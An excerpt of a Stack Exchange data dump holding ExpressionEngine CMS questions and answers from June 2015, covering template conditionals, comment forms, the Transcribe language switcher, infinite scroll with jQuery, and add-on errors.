  <row Id="31770" PostTypeId="2" ParentId="13621" CreationDate="2015-06-03T09:39:52.073" Score="0" Body="&lt;p&gt;Looks odd that {foo} is not recognised at first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you tried modifying&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{foo:total_rows}&quot; &amp;gt; 0}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It looks like you could be comparing a string to a number.  What does &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {foo:total_rows} &amp;gt; 0}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;give you?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, what happens if you test removing the outer if?&lt;/p&gt;&#xA;" OwnerUserId="1570" LastActivityDate="2015-06-03T09:39:52.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31771" PostTypeId="1" CreationDate="2015-06-03T09:56:14.243" Score="0" ViewCount="61" Body="&lt;p&gt;I need to translate everything on my MSM sites into different languages. I notice that a lot of general error messages such as &quot;The username you chose is not available&quot; appear in the files in the folder &lt;code&gt;/system/expressionengine/language/xyz&lt;/code&gt; however there are thousands of lines of phrases, most of which appear in the control panel only. How can I tell which phrases appear in the front end so I can translate them, without having to laboriously try to trigger each message or guess where they are used? I found language packs for German, French, Spanish but not Italian or Polish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE version 2.9.2&lt;/p&gt;&#xA;" OwnerUserId="961" LastActivityDate="2015-06-03T15:33:18.687" Title="How to tell what languages phrases appear on the frontend?" Tags="|language|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31772" PostTypeId="1" CreationDate="2015-06-03T10:36:16.367" Score="2" ViewCount="177" Body="&lt;p&gt;Very quick question. I'm relatively new to Expressionengine and unsure what could be causing my issue. So I have an Article template, inside of it I have comments:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- Comments --&amp;gt;&#xA;        &amp;lt;div class=&quot;comments&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;existing-comments&quot;&amp;gt;&#xA;                &amp;lt;h3&amp;gt; Comments &amp;lt;/h3&amp;gt;&#xA;                {exp:comment:entries sort=&quot;desc&quot;}&#xA;                &amp;lt;div class=&quot;comment&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;initial&quot;&amp;gt;&#xA;                        {if no_results}&#xA;                            &amp;lt;p class=&quot;center&quot;&amp;gt; Be the first to write a comment. &amp;lt;/p&amp;gt;&#xA;                        {/if}&#xA;                        &amp;lt;p&amp;gt;&#xA;                            {comment}&#xA;                        &amp;lt;/p&amp;gt;&#xA;                        &amp;lt;span class=&quot;posted-by&quot;&amp;gt;Posted by &amp;lt;a href=&quot;{if url}{url}{if:else}#{/if}&quot;&amp;gt;{name}&amp;lt;/a&amp;gt; on &amp;lt;strong&amp;gt;{comment_date format=&quot;%Y %m %d&quot;}&amp;lt;/strong&amp;gt;&amp;lt;/span&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                {/exp:comment:entries}&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;comment-form&quot;&amp;gt;&#xA;                &amp;lt;h3&amp;gt; Leave a comment &amp;lt;/h3&amp;gt;&#xA;                {exp:comment:form channel=&quot;blog_post&quot; rules:name=&quot;required|email=required|comment=required&quot;}&#xA;                    &amp;lt;ol&amp;gt;&#xA;                        &amp;lt;li&amp;gt;&#xA;                            &amp;lt;label&amp;gt;YOUR NAME&amp;lt;span&amp;gt;*&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt;&#xA;                            &amp;lt;input type=&quot;text&quot; name=&quot;name&quot; value=&quot;{name}&quot; required/&amp;gt;&#xA;                            {if error}&#xA;                            &amp;lt;p class=&quot;error&quot;&amp;gt;Name is a required field. &amp;lt;/p&amp;gt;&#xA;                            {/if}&#xA;                        &amp;lt;/li&amp;gt;&#xA;                        &amp;lt;li&amp;gt;&#xA;                            &amp;lt;label&amp;gt;YOUR EMAIL&amp;lt;span&amp;gt;*&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt;&#xA;                            &amp;lt;input type=&quot;email&quot; name=&quot;email&quot; value=&quot;{email}&quot; required/&amp;gt;&#xA;                            {if error}&#xA;                            &amp;lt;p class=&quot;error&quot;&amp;gt;Please enter a valid email. &amp;lt;/p&amp;gt;&#xA;                            {/if}&#xA;                        &amp;lt;/li&amp;gt;&#xA;                        &amp;lt;li&amp;gt;&#xA;                            &amp;lt;label&amp;gt;YOUR WEBSITE&amp;lt;/label&amp;gt;&#xA;                            &amp;lt;input type=&quot;text&quot; name=&quot;url&quot; value=&quot;{url}&quot; required/&amp;gt;&#xA;                        &amp;lt;/li&amp;gt;&#xA;                        &amp;lt;li&amp;gt;&#xA;                            &amp;lt;label&amp;gt;YOUR COMMENT&amp;lt;span&amp;gt;*&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt;&#xA;                            &amp;lt;textarea name=&quot;comment&quot;&amp;gt;{comment}&amp;lt;/textarea&amp;gt;&#xA;                            {if error}&#xA;                            &amp;lt;p class=&quot;error&quot;&amp;gt;Comment is a required field &amp;lt;/p&amp;gt;&#xA;                            {/if}&#xA;                        &amp;lt;/li&amp;gt;&#xA;                        &amp;lt;li class=&quot;captcha&quot;&amp;gt;&#xA;                            {if captcha}&#xA;                                  {captcha}&#xA;                            {/if}&#xA;                        &amp;lt;/li&amp;gt;&#xA;                        &amp;lt;li class=&quot;submit&quot;&amp;gt;&amp;lt;button type=&quot;submit&quot;&amp;gt;POST COMMENT&amp;lt;/button&amp;gt;&amp;lt;/li&amp;gt;&#xA;                    &amp;lt;/ol&amp;gt;&#xA;                {/exp:comment:form}&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For some reason on only some of the articles the comment form and exp:comment:entries dissapear. 95% of articles are fine. Could you see if I made a mistake somewhere? Gone through 100 times through the code cant spot the difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should also probably point out that comments are not nested. I use reCaptcha(if this makes a difference). Anybody encountered issue like this before?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is affected url: &lt;a href=&quot;http://www.yourpeakstate.com/blog/the-4-secrets-to-living-your-dream-life-1&quot; rel=&quot;nofollow&quot;&gt;http://www.yourpeakstate.com/blog/the-4-secrets-to-living-your-dream-life-1&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6370" LastEditorUserId="6370" LastEditDate="2015-06-03T11:19:30.263" LastActivityDate="2019-02-19T14:21:47.627" Title="Expressionengine Comment Form And Entries Dissapear on some occassions" Tags="|channel-entries|channel|comments|comment-form|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31773" PostTypeId="2" ParentId="31772" CreationDate="2015-06-03T12:40:27.770" Score="0" Body="&lt;p&gt;Have you enabled guest posts? Go to Admin -&gt; channel administration -&gt; channel form. Than select &quot;yes&quot; for &quot;allow guest posts&quot; at the blog_post channel. You can also use the parameter allow_comments=&quot;yes&quot; instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this post indeed in the blogpost channel which you have specified in your tag?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I also notice that your comment:entries tag is not showing any text&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Are your comment tags placed inside your channel tag? If so, place them outside. &lt;/li&gt;&#xA;&lt;li&gt;As a last option you could als try to use the tag like this: {exp:comment:form channel=&quot;blog_post&quot; dynamic=&quot;no&quot; url_title=&quot;{segment_2}&quot; rules:name=&quot;required|email=required|comment=required&quot;}&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6205" LastEditorUserId="6205" LastEditDate="2015-06-08T07:42:11.940" LastActivityDate="2015-06-08T07:42:11.940" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31774" PostTypeId="2" ParentId="31772" CreationDate="2015-06-03T13:31:23.790" Score="0" Body="&lt;p&gt;The ReCaptcha should not make a difference, it should invalidate the comment form and show errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Balloonatic implies, review your comment settings as a first step.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because you say this only affects like 5% of your articles, I would check the Options tab on the affected articles, in there is a check box for &quot;Allow Comments&quot;, is this unticked on the affected articles? If so, there ya go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other things to check are : &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Flood Control (Have you just posted a comment) &lt;/li&gt;&#xA;&lt;li&gt;Member Group Comment Posting Priviledges&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There is a flood control mechanism in EE, if it's a case of comment section disappearing on articles where I've just posted a comment I'd look into that (pretty long shot).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are also a bunch of comment settings in the member group priviledges, check these as well. Are you looking at the site as a guest or while logged in? &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Comment Posting Priviledges&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Can submit comments&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Exclude member from comment moderation&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Comment Administration&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Can Moderate Comments&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Can view comments in channel entries authored by others&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Can edit comments in their own channel entries&lt;/li&gt;&#xA;&lt;li&gt;Can delete comments in their own channel entries&lt;/li&gt;&#xA;&lt;li&gt;Can edit comments in ANY channel entries&lt;/li&gt;&#xA;&lt;li&gt;Can delete comments in ANY channel entries&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'v highlighted some of the more applicable ones, have you checked the authors of the entries affected? perhaps this is affecting the 5%?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit 1&lt;/strong&gt; Some more ideas&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Short of jumping into the core code and sticking some debugging trace style messages in there (line 148[ee2.10.1] of file &lt;code&gt;/system/expressionengine/modules/comment/mod.comment.php&lt;/code&gt; is a good starting point if your interested) I'd ask you to compare an entry that works 100% and one that doesn't and note down any and all differences in the hunt for clues. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps try using the &lt;code&gt;entry_id&lt;/code&gt; parameter in case there's something fudged in the dynamic handling on &lt;code&gt;exp:comment:entries&lt;/code&gt;? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also whats the status setup and expired/future entries setup is on this channel? Theres code in the comments module that filters comments on statuses (I've seen issues with this too!) and expired/future entries.&lt;/p&gt;&#xA;" OwnerUserId="1100" LastEditorUserId="1100" LastEditDate="2015-06-04T09:05:04.927" LastActivityDate="2015-06-04T09:05:04.927" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31775" PostTypeId="1" CreationDate="2015-06-03T15:16:03.043" Score="0" ViewCount="172" Body="&lt;p&gt;I have EE 2.9.3, Transcribe 1.6.1 and Structure 3.3.14.7 running on a bilingual website and sometimes when the language switch button is pressed 'favicon.ico' is added the end of the url, thus giving a 404 error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This addition of 'favicon.ico' seems to be random, it happens sometimes and is fine at other times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have absolutely no idea why this might be happening and have been advised to use the {exp:transcribe:no_match} tag, but I am completely lost and do not know where and how to use this tag in my template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To display the language switcher I am using the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:transcribe:language_links}&#xA;     &amp;lt;ul class=&quot;languageSelector&quot;&amp;gt;&#xA;          {languages}&#xA;               &amp;lt;li {if current} class=&quot;activeList&quot;{/if}&amp;gt;&amp;lt;a href=&quot;{link}&quot;{if current} class=&quot;active&quot;{/if}&amp;gt;{name}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;          {/languages}&#xA;     &amp;lt;/ul&amp;gt;&#xA;{/exp:transcribe:language_links}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help would be muchly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="898" LastActivityDate="2015-06-05T11:18:12.793" Title="Transcribe adding 'favicon.ico' to url on language switch" Tags="|ee2|structure|transcribe|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31776" PostTypeId="2" ParentId="31771" CreationDate="2015-06-03T15:33:18.687" Score="1" Body="&lt;p&gt;I've had a look around and could not find language packs for either language, sorry (There is an Italian version but the price is high!).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not aware of the 'minimum' list for front end translations either (lots on negative answer here I'm afraid). I do hope someone can give you a link to a positive answer though. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It might be down to you doing it yourself, using the &lt;a href=&quot;http://voytrain2.gsu.edu/EEDocs/cp/admin/utilities/translation_utility.html&quot; rel=&quot;nofollow&quot;&gt;Translation Utility&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something that may help is that there are language packs for these for CodeIgnitor which EE is built on. It may well share a number of these phrases, even more so if its in the CI lang pack but not in the EE one, it's more likely to be an EE only/usind in CP/front end. &lt;a href=&quot;https://github.com/bcit-ci/CodeIgniter/wiki/Language-Translation&quot; rel=&quot;nofollow&quot;&gt;CI Language Packs&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-06-03T15:33:18.687" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31777" PostTypeId="1" CreationDate="2015-06-03T15:59:43.883" Score="0" ViewCount="116" Body="&lt;p&gt;I created a little accessory to insert a row anywhere in a Grid field.  This works great with the exception of when the grid has a File field.  When I create the row the Add File link does not get handled.  I managed to dig through the compressed EE JavaScript code and was able to figure out manually process the Add File link with this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$.ee_filebrowser.add_trigger&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using this I was able to populate the file image thumbnail and name to match what EE does.  Although this seems to work it seems like a really bad idea for future compatibility with EE. The other issue I am having is handling the Remove File link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I have a couple of questions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) How can I use/call the existing EE JavaScript code to handle the Add File functionality?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) How can I use/call the existing EE JavaScript code to handle the Remove File functionality?&lt;/p&gt;&#xA;" OwnerUserId="2358" LastActivityDate="2016-05-26T15:35:34.843" Title="grid add file / remove file javascript" Tags="|file-uploads|grid|javascript|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31778" PostTypeId="1" CreationDate="2015-06-03T16:18:10.637" Score="0" ViewCount="60" Body="&lt;p&gt;When adding an external source to Assets like S3, the database doesn't store that directory. So I am unable to figure out what the file directory number is. I am using the {exp:assets:folders} tag pair with the parent_folder parameter. To use this parameter I need the file directory number for {filedir_X}. Because when using Assets on the front-end I am using Segments to changes the directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to get that directory number?&lt;/p&gt;&#xA;" OwnerUserId="1173" LastActivityDate="2016-06-17T07:34:03.700" Title="Assets External Source File Directory Number?" Tags="|assets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31779" PostTypeId="1" AcceptedAnswerId="31854" CreationDate="2015-06-03T20:07:04.877" Score="0" ViewCount="51" Body="&lt;p&gt;Has anyone seen this error while going to browse their EE forum.  I just downloaded the latest EE Forum 3.1.19 and I am running EE 2.9.3.  The issue is this message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fatal error: Call to undefined method EE_Messages::can_send_pm() in /home/mysite/public_html/system/expressionengine/modules/forum/mod.forum.php on line 1215&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a known bug? How to work around it.&lt;/p&gt;&#xA;" OwnerUserId="2795" LastActivityDate="2015-06-09T16:08:47.230" Title="Error Message After Forum Install" Tags="|forum|discussion|" AnswerCount="2" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="31780" PostTypeId="1" CreationDate="2015-06-03T20:57:02.290" Score="0" ViewCount="184" Body="&lt;p&gt;I looked over at devot-ee for something that could play audio files.  I did not see anything that is compatible with EE 2.9+.  Does anyone have suggestions or know of any plugin that could be used?&lt;/p&gt;&#xA;" OwnerUserId="2795" LastActivityDate="2015-06-03T21:21:11.093" Title="MP3/Audio Player" Tags="|embed-media|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31781" PostTypeId="2" ParentId="31780" CreationDate="2015-06-03T21:21:11.093" Score="5" Body="&lt;p&gt;Any audio player will work with EE. It doesn't need to be an EE specific plugin. Just something you can pass a filename to from an EE field.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2015-06-03T21:21:11.093" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31782" PostTypeId="2" ParentId="31754" CreationDate="2015-06-03T21:31:09.203" Score="1" Body="&lt;p&gt;Are these fields set appropriately? Are you making sure if your site is behind a certificate, it uses HTTPS for a protocol? These settings affect the config variable Derek Hogue was speaking of (specifically &quot;URL to the root directory of your site&quot; is that variable):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/flNvx.jpg&quot; alt=&quot;Gerneral Configuration Page&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe it is possibly overridden by your config file. Go to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;your_html_root_folder/system/expressionengine/config/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and edit your config.php file, and look for that variable. Make sure it is set correctly there as well.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-06-03T21:31:09.203" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31783" PostTypeId="2" ParentId="31779" CreationDate="2015-06-03T22:39:34.933" Score="0" Body="&lt;p&gt;Could be a themes files problems.&#xA;Did you put inside the EE themes folder the EE forum_themes folder??&lt;/p&gt;&#xA;" OwnerUserId="1918" LastActivityDate="2015-06-03T22:39:34.933" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31786" PostTypeId="2" ParentId="31777" CreationDate="2015-06-04T09:16:25.543" Score="0" Body="&lt;p&gt;If you're implimenting your file field within an extension/accessory, why not use the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/usage/file_field.html&quot; rel=&quot;nofollow&quot;&gt;File Field Class&lt;/a&gt;? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you instansiate this field as per the docs it should add the required JS to your outputted template automatically (see &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/usage/file_field.html#creating-a-file-field&quot; rel=&quot;nofollow&quot;&gt;Creating a file field&lt;/a&gt; and &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/usage/file_field.html#initializing-a-file-browser&quot; rel=&quot;nofollow&quot;&gt;Initializing a file browser&lt;/a&gt; )&lt;/p&gt;&#xA;" OwnerUserId="1100" LastEditorUserId="1100" LastEditDate="2015-06-04T16:23:03.220" LastActivityDate="2015-06-04T16:23:03.220" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31787" PostTypeId="1" AcceptedAnswerId="31877" CreationDate="2015-06-04T11:07:13.470" Score="0" ViewCount="218" Body="&lt;p&gt;I have Derek Hogue's solution to infinite scroll working, with magicspon's fix for the issue of preventDefault being ignored:&#xA;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/20443/infinite-scroll-and-pagination-on-ee-anyone-has-this-working&quot;&gt;Infinite scroll and pagination on ee?? Anyone has this working?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works great until I encapsulate the markup in IF conditionals, whereby the results don't update. I have tried early parsing using IfElse, but this has no effect. Why might this be?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the full working test template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;embeds/index&quot;}&#xA;&#xA;{if &quot;{segment_2}&quot;==&quot;&quot;}&#xA;&#xA;&amp;lt;div id=&quot;entry-container&quot; data-behaviour=&quot;moreEntries&quot;&amp;gt;&#xA;     &amp;lt;div class=&quot;ajax-wrapper&quot;&amp;gt;&#xA;            {exp:channel:entries&#xA;               channel=&quot;vacancies&quot;&#xA;                dynamic=&quot;no&quot;&#xA;              orderby=&quot;date&quot;&#xA;              limit=&quot;2&quot;&#xA;&#xA;        }&#xA;&#xA;    {if no_results}&#xA;        &amp;lt;div class=&quot;entry&quot;&amp;gt;&#xA;            &amp;lt;article style=&quot;min-height: 600px;&quot;&amp;gt;&#xA;                &amp;lt;header&amp;gt;&#xA;                    &amp;lt;h1&amp;gt;No Results&amp;lt;/h1&amp;gt;&#xA;                &amp;lt;/header&amp;gt;&#xA;                Check back soon for more blog posts. &#xA;            &amp;lt;/article&amp;gt;&#xA;        &amp;lt;/div&amp;gt; &amp;lt;!-- /.entry --&amp;gt;&#xA;    {/if}&#xA;    &amp;lt;div class=&quot;entry&quot;&amp;gt;&#xA;        &amp;lt;article&amp;gt;&#xA;            &amp;lt;header&amp;gt;&#xA;                {title}&#xA;            &amp;lt;/header&amp;gt;&#xA;           {vacancy_details}&#xA;        &amp;lt;/article&amp;gt;&#xA;    &amp;lt;/div&amp;gt; &amp;lt;!-- /.entry --&amp;gt;&#xA;&#xA;    {paginate}&#xA;    &amp;lt;p class=&quot;moreEntries&quot;&amp;gt;&#xA;        {if next_page}&amp;lt;a href=&quot;{auto_path}&quot; class=&quot;more&quot; id=&quot;next&quot;&amp;gt;See More Posts&amp;lt;/a&amp;gt;{/if}&#xA;    &amp;lt;/p&amp;gt;&#xA;    {/paginate}&#xA;    {/exp:channel:entries}&#xA;  &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt; &#xA;{/if}&#xA;&#xA;&amp;lt;link href=&quot;{site_url}css/styles.css&quot; rel=&quot;stylesheet&quot;&amp;gt;&#xA;&amp;lt;link href=&quot;//maxcdn.bootstrapcdn.com/font-awesome/4.1.0/css/font-awesome.min.css&quot; rel=&quot;stylesheet&quot;&amp;gt;&#xA;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;{site_url}bootstrapvalidator/css/bootstrapValidator.min.css&quot;/&amp;gt;&#xA;&#xA;&amp;lt;script src=&quot;{site_url}js/bootstrap.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&quot;https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA; $(document).ready(function()&#xA;   {&#xA;    $('#entry-container').delegate('.more', 'click', function(e)&#xA;    {&#xA;        // Don't follow the link&#xA;        e.preventDefault();&#xA;&#xA;        // Create a loading message and add it in place of the link&#xA;        loadingMessage = $('&amp;lt;p class=&quot;loading&quot;&amp;gt;Loading...&amp;lt;/p&amp;gt;');&#xA;        $('.moreEntries').replaceWith(loadingMessage);&#xA;&#xA;        // Fetch the next page&#xA;        $.get($(this).attr('href'), function(data)&#xA;        {                                           &#xA;            // Only grab the part of the page we want&#xA;            content = $(data).find('.ajax-wrapper').hide();&#xA;&#xA;            // Add it to the DOM&#xA;            $(content).appendTo('#entry-container');&#xA;&#xA;            // Remove loading indicator &#xA;            $('.loading').fadeOut('fast').remove();&#xA;&#xA;            // Fade-in our new content&#xA;            $(content).fadeIn('fast');&#xA;        });&#xA;    });&#xA;});&#xA;&amp;lt;/script&amp;gt; &#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1851" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2015-06-10T17:00:50.250" Title="Infinite scroll within conditional" Tags="|pagination|jquery|javascript|ajax|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31788" PostTypeId="2" ParentId="31787" CreationDate="2015-06-04T11:49:33.047" Score="1" Body="&lt;p&gt;Don't use the curly brackets and quotes on the segment in your conditional. Write your conditional like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_2 == &quot;&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Edit: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;your closing div for entry-container is missing the last character.&lt;/li&gt;&#xA;&lt;li&gt;Your link tags should be in de head of the document&lt;/li&gt;&#xA;&lt;li&gt;The final script tag is not closed.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6205" LastEditorUserId="6205" LastEditDate="2015-06-05T15:49:02.743" LastActivityDate="2015-06-05T15:49:02.743" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31789" PostTypeId="1" AcceptedAnswerId="31790" CreationDate="2015-06-04T13:35:21.110" Score="0" ViewCount="133" Body="&lt;p&gt;I'm working on an extension for expresso store and I want to output some variables, using print_r or echo but nothing is outputted on the front-end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm logged in as admin, I have template debugging on, I have php enabled for the template I'm looking (and yes the template is calling the extension)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&#xA;Francesco&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.9.3&lt;/p&gt;&#xA;" OwnerUserId="1130" LastActivityDate="2015-06-04T14:25:49.840" Title="no debug output" Tags="|debugging|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31790" PostTypeId="2" ParentId="31789" CreationDate="2015-06-04T14:25:49.840" Score="2" Body="&lt;p&gt;put in die(); or exit(); after the stuff you'd like to inspect.&#xA;otherwise your extension will keep running and you may not see the output.&lt;/p&gt;&#xA;" OwnerUserId="315" LastActivityDate="2015-06-04T14:25:49.840" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31791" PostTypeId="1" CreationDate="2015-06-04T14:27:38.733" Score="0" ViewCount="39" Body="&lt;p&gt;Like most people, I have a content page that has different &quot;blocks&quot; of content, text blocks, pull quotes, images, gallery images, etc., &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're not using &lt;a href=&quot;https://devot-ee.com/add-ons/content-elements&quot; rel=&quot;nofollow&quot;&gt;content elements&lt;/a&gt; or the &lt;a href=&quot;https://devot-ee.com/add-ons/blocks&quot; rel=&quot;nofollow&quot;&gt;&quot;Blocks&quot; plugins&lt;/a&gt; to help with content creation, what other ways outside of different fields are you using to solve the problem?? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: Also different fields doesn't solve the problem of freedom to place content blocks where ever the author desires. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;i was using CE, but a bug that can't be identified is preventing me from using it at the moment so I'm only leveraging Expresso. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="2826" LastEditorUserId="425" LastEditDate="2015-06-05T05:24:27.577" LastActivityDate="2015-06-05T05:24:27.577" Title="Content seperation" Tags="|content-elements|content|blocks|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31792" PostTypeId="1" CreationDate="2015-06-04T15:01:11.280" Score="1" ViewCount="64" Body="&lt;p&gt;I am using EE version 2.9.2, transcribe 1.6.1 and Freemember 2.3.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a login form which works fine in the original language with error_handling set to inline.  However, when I viewed in the translated language the error_handling parameter causes the form to redirect to the home page without the language prefix when a bad username is entered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I remove error_handling-&quot;inline&quot; the problem disappears but of course the error shown is in the original language not the desired one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how to fix this?&#xA;Cheers&lt;/p&gt;&#xA;" OwnerUserId="1570" LastActivityDate="2016-09-28T14:36:52.477" Title="Freemember login errors with Transcribe" Tags="|freemember|transcribe|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
